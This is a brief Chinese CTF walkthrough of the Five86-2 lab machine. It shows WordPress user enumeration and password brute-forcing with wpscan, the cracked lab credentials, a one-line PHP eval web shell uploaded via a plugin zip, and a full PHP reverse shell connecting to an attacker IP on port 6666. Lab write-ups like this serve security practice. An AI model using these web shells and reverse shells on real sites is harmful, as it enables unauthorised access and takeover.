Five86 2

Five86-2

nmap 扫描端口

访问 80 口（要改一下 hosts 文件）

是一个 wordpress，wpscan 来扫描一下看看有哪些用户
wpscan --url http://five86-2/ -e u

wpscan --url http://five86-2 -P passwords.txt -U users.txt 来爆破一下用户名和密码

Username: barney, Password: spooky1
Username: stephen, Password: apollo1

选一个登录一下，再 Add New 中新建一个 e-learning

echo "hello" > index.html
echo "<?php @eval ($_POST ['yichen']); ?>" > index.php
zip poc.zip index.html index.php
来生成一个 zip，然后上传，可以看到文件路径，直接访问那个 php 的后门

蚁剑连上，发现执行不了 nc 命令，在蚁剑的终端上也没法切换用户，然后写了个 system 的 php 也没法反弹 shell

找了个别的版本的 shell

<?php
$ip = '192.168.149.141';
$port = '6666';
$sock = fsockopen($ip, $port);
$descriptorspec = array(
    0 => $sock,
    1 => $sock,
    2 => $sock
);
$process = proc_open('/bin/sh',$descriptorspec, $pipes);
proc_close($process);
?>

没有 python2 所以用的 python3
python3 -c "import pty;pty.spawn('/bin/bash')"

切换到 stephen 用户
Username: stephen, Password: apollo1